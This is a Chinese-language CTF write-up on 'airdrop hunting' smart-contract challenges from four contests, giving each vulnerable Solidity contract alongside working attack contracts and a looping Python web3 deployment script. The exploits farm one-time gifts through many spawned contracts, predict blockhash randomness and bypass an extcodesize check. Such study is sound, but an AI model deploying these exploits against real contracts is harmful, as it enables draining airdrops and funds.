Airdrop Hunting
关于薅羊毛,原理很简单例如一个空投函数可以供所有人调用,那我用多个账户每个账户调用一次,最后把这些钱都转到一个账户上就累计成了巨大的财富,这就是薅羊毛。
数字经济大赛 2019
题目合约地址0x94bc4F858fcCf7B016ca240AfbDC93Db7C4FF656 攻击合约地址0xf60FbFE6eA8B16EA6cd03d8922eCAe684461F899 源码
pragma solidity
{ #0}
.4.24;
contract jojo {
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
address owner;
constructor()public{
owner = msg.sender;
}
event SendFlag(string b64email);
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
emit SendFlag(b64email);
}
function jojogame() payable{
uint geteth = msg.value / 1000000000000000000;
balanceOf[msg.sender] += geteth;
}
function gift() public {
assert(gift[msg.sender] == 0);
balanceOf[msg.sender] += 100;
gift[msg.sender] = 1;
}
function transfer(address to,uint value) public{
assert(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
}
攻击
典型薅羊毛,直接生成一千个账户调用gift然后转账给一个账户即可
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
contract exp {
jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
constructor() payable public {
}
function getBalance(uint num) public {
for (uint i =0 ;i < num ; i++){
new attack(address(this));
}
}
function getFlag(string b64email) public{
target.payforflag(b64email);
}
function balanceOf(address add) public returns (uint){
return target.balanceOf(add);
}
}
contract attack {
constructor (address address1) payable public{
jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
target.gift();
target.transfer(address1,100);
}
}
设置num为0x100调用getBalance四次即可满足题意

最后调用getFlag即可,查看题目合约的events。

RoarCTF 2019 CoinFlip
合约源码
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/
pragma solidity
{ #0}
.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
攻击
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
contract exp {
address t = 0xd9145CCE52D386f254917e481eB44e9943F39138;
P_Bank target = P_Bank(t);
constructor() payable public {
}
function attack(uint num,address acount) payable public {
for ( uint i =0;i< num ; i++){
target.Ap();
target.Transfer(acount, 1 ether);
}
}
}

QWB 2019
题目部署合约地址0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A 攻击合约地址0x8Bb4Be3a00EeAF6858EB0b934532A18bdbDE713F
源码
pragma solidity
{ #0}
.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;
}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//get_profit
function profit(){
require(status[msg.sender]==0);
balance[msg.sender]+=10;
status[msg.sender]=1;
}
//add money
function () payable{
balance[msg.sender]+=msg.value/1000000000000000000;
}
//bet
function bet(uint num) {
require(balance[msg.sender]>=10);
require(status[msg.sender]<2);
balance[msg.sender]-=10;
uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;
if (rand == num) {
balance[msg.sender]+=1000;
}
status[msg.sender]=2;
}
//transfer
function transferbalance(address to,uint amount){
require(balance[msg.sender]>=amount);
balance[msg.sender]-=amount;
balance[to]+=amount;
}
}
攻击
这题似乎当时比赛是给了选手部分源码,剩下的需要逆向,我这里就直接拿源码做了,本菜鸡基础的攻击学完了再逆向吧。
源码漏洞比较明显,先调用profit然后随机数预测调用bet,然后转账。生成多个合约账户来薅羊毛。
攻击合约如下
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
contract exp {
constructor() public payable{
}
function Attack(address to, uint num) public {
for (uint i =0 ; i < num ;i++){
attack exp = new attack();
exp.bet1();
exp.transfer(to);
}
}
function getFlag(string md5ofteamtoken,string b64email) public{
address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
babybet target = babybet(a);
target.payforflag(md5ofteamtoken, b64email);
}
}
contract attack {
address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
babybet target = babybet(a);
constructor() public payable{
// target.transferbalance(to,uint(1100));
}
function bet1() public payable {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address to) public {
target.transferbalance(to, 1000);
}
}
设置num为0x63一次+(99*1000),我设置0x64就g,多次调用之后就能满足条件了。

最后调用攻击合约的getFlag即可

bctf 2018 Fake3d
前置知识 tx.origin和msg.sender
分析
经典的Fake3d漏洞 参考文章
wp 合约源码
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
攻击
airDrop中存在随机数预测,满足if条件后就能让balance+10了,但注意这里使用的是tx.origin就是最开始调用合约的账户而不是调用airDrop函数的攻击合约账户地址。其中的turingTest可使用合约的构造函数绕过。
这里我最开也想到既然它判断了(seed - ((seed / 1000) * 1000)) < 288那么直接调用函数不就完了,总会有几率满足条件,不过就有点暴力,看了wp这样做确实也是能做的。。
部署攻击合约
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;
import "./source.sol";
import "./safemath.sol";
contract exp {
using SafeMath for *;
address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
Fake3D target = Fake3D(contractAddress);
constructor() payable public{
for (uint i=0;i<100;i++){
new attack();
}
}
}
contract attack {
using SafeMath for *;
constructor() payable public {
address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
Fake3D target = Fake3D(contractAddress);
target.airDrop();
}
}
这样一次能加两三百,编写脚本不断部署合约即可
import solcx
from eth_abi import abi, encode_abi
from eth_utils import keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *
def exp():
print('start------------------------------------------------------')
abi = '''[
{
"inputs": [],
"payable": true,
"stateMutability": "payable",
"type": "constructor"
}
]'''
bytecode = '''6080604052739f8fc2b400cd43ed139d0c9e949f1c70be2524436000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090505b60648110156100fc576100d1610102565b604051809103906000f0801580156100ed573d6000803e3d6000fd5b505080806001019150506100c0565b50610112565b6040516101038061015583390190565b6035806101206000396000f3006080604052600080fd00a165627a7a72305820ef15eff16f1da73a365765ef3bb4f2b0398b4723b68336998e2b0463e288768100296080604052600080739f8fc2b400cd43ed139d0c9e949f1c70be25244391508190508073ffffffffffffffffffffffffffffffffffffffff1663ca5d08806040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015608457600080fd5b505af11580156097573d6000803e3d6000fd5b505050506040513d602081101560ac57600080fd5b81019080805190602001909291905050505050506035806100ce6000396000f3006080604052600080fd00a165627a7a7230582042145ac5fce3a8d227a9e236ac33166a281f4454a234c72a076721571b8408c50029'''
account_from = {
'private_key': 'your private key',
'address': '0x9c5D5bE2a76503957853d9b6f81fFDE226635739',
}
contract_address = Web3.toChecksumAddress("0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443")
rpc = "your rpc "
web3 = Web3(HTTPProvider(rpc))
print(f'Attempting to deploy from account: { account_from["address"] }')
# 4. Create contract instance
Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode)
# 5. Build constructor tx
construct_txn = Incrementer.constructor().buildTransaction(
{
'from': account_from['address'],
'nonce': web3.eth.get_transaction_count(account_from['address']),
}
)
# 6. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(construct_txn, account_from['private_key'])
# 7. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Contract deployed at address: { tx_receipt.contractAddress }')
print("next------------------------------------------------------")
if __name__ == '__main__':
while True:
exp()

到达条件之后调用CaptureTheFlag函数即可
